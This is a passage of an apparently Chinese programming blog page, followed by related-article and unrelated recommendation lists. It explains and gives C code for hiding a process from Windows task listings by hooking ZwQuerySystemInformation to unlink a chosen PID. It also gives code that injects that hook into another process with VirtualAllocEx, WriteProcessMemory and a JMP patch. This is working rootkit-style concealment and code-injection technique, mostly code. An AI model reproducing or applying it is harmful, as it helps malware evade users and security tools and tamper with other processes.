ZwQuerySystemInformation(SystemProcessInformation,SystemInformation,Length,ReturnLength);

 
 
 
  pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  while (TRUE){
   printf("进程PID: %d\n",pSystemProcesses->InheritedFromProcessId);
   if (!pSystemProcesses->NextEntryOffset) {
    break;
   }
   pSystemProcesses = (PSYSTEM_PROCESS_INFORMATION)((char *)pSystemProcesses + pSystemProcesses->NextEntryOffset);
  }
 
 
 
当是我们需要隐藏的进程的时候我们可以通过增加NextEntryOffset的长度或者设置NextEntryOffset长度为0来隐藏进程。所以我们可以构造以下类似代码:
 
 
 
NTSTATUS
NTAPI
HOOK_ZwQuerySystemInformation(
         IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
         OUT PVOID SystemInformation,
         IN ULONG SystemInformationLength,
         OUT PULONG ReturnLength OPTIONAL
         )
{
NTSTATUS ntStatus;
PSYSTEM_PROCESSES pSystemProcesses=NULL,Prev;
 
_asm{
  push ebx
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push SystemInformationClass
  call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
  mov ntStatus,eax
  pop ebx
}
 
if (NT_SUCCESS(ntStatus) && SystemInformationClass==SystemProcessesAndThreadsInformation){
  pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
  while (TRUE){
   if (pSystemProcesses->;ProcessId==0x12345678){ //如果是我们需要隐藏的PID就进行数据修改
    if (pSystemProcesses->NextEntryDelta){
     //当我们需要隐藏的进程后面还有进程时
     //越过我们自己进程让NextEntryDelta直接指向下一个数据块
     Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
    }else{
     //当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
     //这时系统在遍历我们进程时就不会发现了
     Prev->NextEntryDelta=0;
    }
    break;
   }
   if (!pSystemProcesses->NextEntryDelta) {
    break;
   }
   Prev=pSystemProcesses;
   pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
  }
}
return ntStatus;
}
 
 
 
我们为了不添加一个多余的DLL所以必须是以Shellcode方式注入到目标进程,但是要这样写完整的shellcode确实有点麻烦,我们可以取巧利用程序来实现。
 
 
 
我们把函数内需要重定位的地方全部使用__asm来完成比如上面的
 
 
 
_asm{
  push ebx
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push SystemInformationClass
  call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
  mov ntStatus,eax
  pop ebx
}
 
 
 
调用绝对地址来实现,这样就不需要重定位了。这样我们可以把这个函数拷贝到目标进程了,再进行下目标地址的计算就ok了。所以有类似下面的实现代码:
 
 
 
BOOLEAN SetHook(DWORD dwProcessId,DWORD dwHideId)
{
BOOLEAN bRet=FALSE;
DWORD OldProtect;
DWORD dwCodeStart,dwCodeEnd,dwCodeSize;
BYTE HookCode[5]={0xE9,0,0,0,0};
HANDLE hProcess=NULL;
PVOID RemoteAllocBase=NULL;
DWORD dwFunAddress;
PUCHAR pBuffer;
 
dwCodeStart = GetFunAddress((PUCHAR)FunStart);
dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
dwCodeSize = dwCodeEnd-dwCodeStart;
 
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
         FALSE,
         dwProcessId
         );
 
if (hProcess){
  RemoteAllocBase = VirtualAllocEx(hProcess,
           NULL,
           dwCodeSize,
           MEM_COMMIT,
           PAGE_EXECUTE_READWRITE
           );
  if (RemoteAllocBase){
   printf("\t申请内存地址:0x%x\n",RemoteAllocBase);
   g_lpRemoteAllocBase = RemoteAllocBase;
   if (ZwQuerySystemInformation){
    bRet=VirtualProtect((PVOID)dwCodeStart,
         dwCodeSize,
         PAGE_EXECUTE_READWRITE,
         &OldProtect
         );
    if (bRet){
     memcpy((PVOID)dwCodeStart,ZwQuerySystemInformation,5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
     *(DWORD *)(dwCodeStart+6)=(DWORD)ZwQuerySystemInformation;//这里不需要用特征定位,因为肯定是在第六个字节开始的地方
     *HookCode=0xE9;
     dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
     dwFunAddress -= dwCodeStart;
     dwFunAddress += (DWORD)RemoteAllocBase; //计算HOOK_ZwQuerySystemInformation在目标进程中的地址
     printf("\tHOOK_ZwQuerySystemInformation内存地址:0x%x\n",dwFunAddress);
     *(DWORD *)&HookCode[1]=dwFunAddress-5-(DWORD)ZwQuerySystemInformation;
 
     dwFunAddress = GetFunAddress((PUCHAR)HOOK_ZwQuerySystemInformation);
     for (pBuffer=(PUCHAR)dwFunAddress;
       pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);
       pBuffer++
          )
     {
      if (*(DWORD *)pBuffer==0x12345678){
       *(DWORD *)pBuffer = dwHideId;
       break;
      }
     }
     VirtualProtect((PVOID)dwCodeStart,
           dwCodeSize,
           PAGE_EXECUTE_READWRITE,
           &OldProtect
           );
    }
   }
   bRet=WriteProcessMemory(hProcess,
         RemoteAllocBase,
         (PVOID)dwCodeStart,
         dwCodeSize,
         NULL
         );
   if (bRet){
    bRet=WriteProcessMemory(hProcess,
          ZwQuerySystemInformation,
          HookCode,
          5,
          NULL
          );
   }
  }
  CloseHandle(hProcess);
}
return bRet;
}

ring3 dll hide的更多相关文章

  1. CIA泄露资料分析(黑客工具&技术)—Windows篇

    背景 近期,维基解密曝光了一系列据称来自美国中央情报局(CIA)网络攻击活动的秘密文件,代号为“Vault 7”,被泄露文件的第一部分名为“Year Zero”,共有8761个文件,包含7818个网页 ...

  2. GridControl CardView ShowCardExpandButton or GridCardExpandButton

    关于DevExpress.XtraGrid.v13.1.dll和DevExpress.XtraGrid.v12.2.dll中ShowCardExpandButton  或者 GridCardExpan ...

  3. Windows x86/ x64 Ring3层注入Dll总结

    欢迎转载,转载请注明出处:http://www.cnblogs.com/uAreKongqi/p/6012353.html 0x00.前言 提到Dll的注入,立马能够想到的方法就有很多,比如利用远程线 ...

  4. Ring3下的DLL注入(NtCreateThreadEx + LdrLoadDll方式实现,可以注入系统进程)

    工具介绍及使用请移步:http://blog.csdn.net/sunflover454/article/details/50441014 本文首发在零日安全论坛:http://www.jmpoep. ...

  5. Dll注入:Ring3 层 APC注入

    APC,即Asynchronous procedure call,异步程序调用APC注入的原理是:在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统 ...

  6. 驱动插ring3线程执行代码

    近日有在写一个小东西 需要在内核态中运行一个WIN32程序 之前提到的插入APC可以满足部分要求 但是一到WIN7 x86平台下就崩溃了WIN7下只能插入第三方的进程 一插入系统进程就崩溃,但是这样满 ...

  7. 在c#中运行js脚本(将js文件生成为.dll文件)

    原文链接:http://www.cnblogs.com/xhan/archive/2010/10/22/1857992.html 前言: 本来在搞一个Google翻译的接口--向Google翻译发送请 ...

  8. KTHREAD 线程调度 SDT TEB SEH shellcode中DLL模块机制动态获取 《寒江独钓》内核学习笔记(5)

    目录 . 相关阅读材料 . <加密与解密3> . [经典文章翻译]A_Crash_Course_on_the_Depths_of_Win32_Structured_Exception_Ha ...

  9. 告别硬编码-发个获取未导出函数地址的Dll及源码

    还在为找内核未导出函数地址而苦恼嘛? 还在为硬编码通用性差而不爽吗? 还在为暴搜内核老蓝屏而痛苦吗? 请看这里: 最近老要用到内核未导出的函数及一些结构,不想再找特征码了,准备到网上找点符号文件解析的 ...

随机推荐

  1. JAVA装饰器模式

    Java程序员们应该对java.io对不会陌生,因为java.io包采用了装饰器模式. 一.定义: Decorator装饰器,顾名思义,就是动态地给一个对象添加一些额外的职责,就好比为房子进行装修一样 ...

  2. C#.net连接SQLite及遇到的问题

    1.Slite简介 SQLite,是一款轻型的数据库,是遵守ACID的关联式数据库管理系统,它的设计目标是嵌入式的,而且目前已经在很多嵌入式产品中使用了它,它占用资源非常的低,在嵌入式设备中,可能只需 ...

  3. hadoop笔记之Hive的数据存储(视图)

    Hive的数据存储(视图) Hive的数据存储(视图) 视图(view) 视图是一种虚表,是一个逻辑概念:可以跨越多张表 既然视图是一种虚表,那么也就是说用操作表的方式也可以操作视图 但是视图是建立在 ...

  4. placeholder颜色

    ::-moz-placeholder{color:#b9bfc1;} // Firefox::-webkit-input-placeholder{color:#b9bfc1;} // Chrome, ...

  5. php 按列值合并数据

    /* * PHP按值合并数组 * */ function my_array_merge(&$array1, &$array2) { $result = Array(); foreach ...

  6. 你可能不知道的一些JavaScript 奇技淫巧

    这里记录一下以前学习各种书籍和文章里边出现的JS的小技巧,分享给大家,也供自己查阅,同时感谢那些发现创造和分享这些技巧的前辈和大牛们. 1.遍历一个obj的属性到数组 var a=[]; for(a[ ...

  7. cdn与http缓存

    http缓存与cdn相关技术   摘要:最近要做这个主题的组内分享,所以准备了一个星期,查了比较多的资料.准备的过程虽然很烦很耗时间,不过因为需要查很多的资料,因此整个过程下来,对这方面的知识影响更加 ...

  8. linux 环境操作faq 记录

    1. ubuntu adb 提示???? 找不到设备 这个问题不是一次两次了记录下,以后好找点. 问题:ubuntu下adb 不是别设备 http://blog.csdn.net/chychc/art ...

  9. EPiServer网文

    ListItemCollection Rending: http://joelabrahamsson.com/episerver-7-and-mvc-how-to-customize-renderin ...

  10. 在VC6.0下如何调用Delphi5.0开发的进程内COM

    因为本人的语言水平很差,考大学时150的总分,我考了个60分.外语也是,初中及格过一次,会考及格过一次.其它的时间好像从没有及格过.所以我不写文章,因我一百字的文章给我写,至少要出八九个错别字.哈哈… ...